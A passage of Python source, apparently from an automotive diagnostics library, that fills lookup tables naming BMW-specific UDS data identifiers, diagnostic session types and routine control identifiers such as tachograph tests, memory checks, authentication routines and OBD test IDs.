UDS_RDBI.dataIdentifiers[0xfae8] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfae9] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaea] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaeb] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaec] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaed] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaee] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaef] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf0] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf1] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf2] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf3] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf4] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf5] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf6] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf7] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf8] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaf9] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafa] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafb] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafc] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafd] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfafe] = "safetySystemPIds_FA00_FAFF" UDS_RDBI.dataIdentifiers[0xfaff] = "safetySystemPIds_FA00_FAFF" UDS_DSC.diagnosticSessionTypes[0x81] = "defaultMode-StandardDiagnosticMode-OBDIIMode" # noqa E501 UDS_DSC.diagnosticSessionTypes[0x82] = "periodicTransmissions" UDS_DSC.diagnosticSessionTypes[0x83] = "BMW_NOTtoBeImplemented_endOfLineVehicleManufacturerMode" # noqa E501 UDS_DSC.diagnosticSessionTypes[0x84] = "endOfLineSystemSupplierMode" UDS_DSC.diagnosticSessionTypes[0x85] = "ECUProgrammingMode" UDS_DSC.diagnosticSessionTypes[0x86] = "ECUDevelopmentMode" UDS_DSC.diagnosticSessionTypes[0x87] = "ECUAdjustmentMode" UDS_DSC.diagnosticSessionTypes[0x88] = "ECUVariantCodingMode" UDS_DSC.diagnosticSessionTypes[0x89] = "BMW_ECUsafetyMode" UDS_IOCBI.dataIdentifiers = UDS_RDBI.dataIdentifiers UDS_RC.routineControlIdentifiers[0x0000] = "BMW_linearAddressRange" UDS_RC.routineControlIdentifiers[0x0001] = "BMW_ROM_EPROM_internal" UDS_RC.routineControlIdentifiers[0x0002] = "BMW_ROM_EPROM_external" UDS_RC.routineControlIdentifiers[0x0003] = "BMW_NVRAM_characteristicZones_DTCmemory" # noqa E501 UDS_RC.routineControlIdentifiers[0x0004] = "BMW_RAM_internal_shortMOV" UDS_RC.routineControlIdentifiers[0x0005] = "BMW_RAM_external_xDataMOV" UDS_RC.routineControlIdentifiers[0x0006] = "BMW_flashEPROM_internal" UDS_RC.routineControlIdentifiers[0x0007] = "BMW_UIFmemory" UDS_RC.routineControlIdentifiers[0x0008] = "BMW_vehicleOrderDataMemory" UDS_RC.routineControlIdentifiers[0x0009] = "BMW_flashEPROM_external" UDS_RC.routineControlIdentifiers[0x000b] = "BMW_RAM_internal_longMOVatRegister" UDS_RC.routineControlIdentifiers[0x0100] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0101] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0102] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0103] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0104] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0105] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0106] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0107] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0108] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0109] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x010f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0110] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0111] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0112] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0113] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0114] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0115] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0116] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0117] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0118] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0119] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x011f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0120] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0121] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0122] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0123] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0124] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0125] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0126] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0127] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0128] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0129] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x012f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0130] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0131] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0132] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0133] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0134] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0135] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0136] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0137] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0138] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0139] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x013f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0140] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0141] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0142] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0143] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0144] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0145] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0146] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0147] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0148] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0149] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0150] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0151] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0152] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0153] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0154] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0155] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0156] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0157] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0158] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0159] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0160] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0161] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0162] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0163] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0164] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0165] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0166] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0167] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0168] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0169] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0170] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0171] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0172] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0173] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0174] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0175] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0176] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0177] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0178] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0179] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0180] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0181] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0182] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0183] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0184] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0185] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0186] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0187] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0188] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0189] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0190] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0191] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0192] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0193] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0194] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0195] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0196] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0197] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0198] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0199] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01aa] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ab] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ac] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ad] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ae] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01af] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ba] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01bb] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01bc] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01bd] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01be] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01bf] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ca] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01cb] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01cc] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01cd] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ce] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01cf] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01da] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01db] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01dc] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01dd] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01de] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01df] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ea] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01eb] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ec] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ed] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ee] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ef] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fa] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fb] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fc] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fd] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fe] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ff] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0200] = "VCM_SVT" UDS_RC.routineControlIdentifiers[0x0202] = "checkMemory" UDS_RC.routineControlIdentifiers[0x0203] = "checkProgrammingPreCondition" UDS_RC.routineControlIdentifiers[0x0204] = "readSWEProgrammingStatus" UDS_RC.routineControlIdentifiers[0x0205] = "readSWEDevelopmentInfo" UDS_RC.routineControlIdentifiers[0x0206] = "checkProgrammingPower" UDS_RC.routineControlIdentifiers[0x0207] = "VCM_Generiere_SVT" UDS_RC.routineControlIdentifiers[0x020b] = "Steuergerätetausch" UDS_RC.routineControlIdentifiers[0x020c] = "KeyExchange" UDS_RC.routineControlIdentifiers[0x020d] = "FingerprintExchange" UDS_RC.routineControlIdentifiers[0x020e] = "InternalAuthentication" UDS_RC.routineControlIdentifiers[0x020f] = "CyclicSignatureCheck" UDS_RC.routineControlIdentifiers[0x0210] = "TeleServiceLogin" UDS_RC.routineControlIdentifiers[0x0211] = "ExternalAuthentication" UDS_RC.routineControlIdentifiers[0x0212] = "StoreTransportKeyList" UDS_RC.routineControlIdentifiers[0x0213] = "InitSignalKeyDeployment" UDS_RC.routineControlIdentifiers[0x0214] = "N10GetState" UDS_RC.routineControlIdentifiers[0x0215] = "GetParameterN11" UDS_RC.routineControlIdentifiers[0x0220] = "RequestDeleteSwPackage" UDS_RC.routineControlIdentifiers[0x0230] = "ResetState" UDS_RC.routineControlIdentifiers[0x0231] = "GetState" UDS_RC.routineControlIdentifiers[0x0232] = "ResetStateFsCSM" UDS_RC.routineControlIdentifiers[0x0233] = "GetParameterN11" UDS_RC.routineControlIdentifiers[0x0234] = "ExternerInit" UDS_RC.routineControlIdentifiers[0x02a5] = "RequestListEntry" UDS_RC.routineControlIdentifiers[0x0f01] = "codingChecksum" UDS_RC.routineControlIdentifiers[0x0f02] = "clearMemory" UDS_RC.routineControlIdentifiers[0x0f04] = "selfTest" UDS_RC.routineControlIdentifiers[0x0f05] = "powerDown" UDS_RC.routineControlIdentifiers[0x0f06] = "clearDTCSecondaryMemory" UDS_RC.routineControlIdentifiers[0x0f07] = "requestForAuthentication" UDS_RC.routineControlIdentifiers[0x0f08] = "releaseAuthentication" UDS_RC.routineControlIdentifiers[0x0f09] = "checkSignature" UDS_RC.routineControlIdentifiers[0x0f0a] = "checkProgrammingStatus" UDS_RC.routineControlIdentifiers[0x0f0b] = "ExecuteDiagnosticService" UDS_RC.routineControlIdentifiers[0x0f0c] = "SetEnergyMode" # or controlEnergySavingMode # noqa E501 UDS_RC.routineControlIdentifiers[0x0f0d] = "resetSystemFaultMessage" UDS_RC.routineControlIdentifiers[0x0f0e] = "timeControlledPowerDown" UDS_RC.routineControlIdentifiers[0x0f0f] = "disableCommunicationOverGateway" UDS_RC.routineControlIdentifiers[0x0f1f] = "SwtRoutine" UDS_RC.routineControlIdentifiers[0x1002] = "Individualdatenrettung" UDS_RC.routineControlIdentifiers[0x1003] = "SetExtendedMode" UDS_RC.routineControlIdentifiers[0x1007] = "MasterVIN" UDS_RC.routineControlIdentifiers[0x100d] = "ActivateCodingMode" UDS_RC.routineControlIdentifiers[0x100e] = "ActivateProgrammingMode" UDS_RC.routineControlIdentifiers[0x100f] = "ActivateApplicationMode" UDS_RC.routineControlIdentifiers[0x1010] = "SetDefaultBus" UDS_RC.routineControlIdentifiers[0x1011] = "GetActualConfig" UDS_RC.routineControlIdentifiers[0x1013] = "RequestListEntryGWTB" UDS_RC.routineControlIdentifiers[0x1021] = "requestPreferredProtcol" UDS_RC.routineControlIdentifiers[0x1022] = "checkConnection" UDS_RC.routineControlIdentifiers[0x1024] = "ResetActivationlineLogical" UDS_RC.routineControlIdentifiers[0x1042] = "EthernetARLTable" UDS_RC.routineControlIdentifiers[0x1045] = "EthernetIPConfiguration" UDS_RC.routineControlIdentifiers[0x104e] = "EthernetARLTableExtended" UDS_RC.routineControlIdentifiers[0x4001] = "SetGWRouting" UDS_RC.routineControlIdentifiers[0x4002] = "HDDDownload" UDS_RC.routineControlIdentifiers[0x4007] = "updateMode" UDS_RC.routineControlIdentifiers[0x4008] = "httpUpdate" UDS_RC.routineControlIdentifiers[0x7000] = "ProcessingApplicationData" UDS_RC.routineControlIdentifiers[0xa07c] = "RequestDeactivateHddSafeMode" UDS_RC.routineControlIdentifiers[0xa0b2] = "RequestSteuernApixReinitMode" UDS_RC.routineControlIdentifiers[0xab8f] = "setEngineAngle" UDS_RC.routineControlIdentifiers[0xe000] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe001] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe002] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe003] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe004] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe005] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe006] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe007] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe008] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe009] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00d] = "OBDTestIDs" 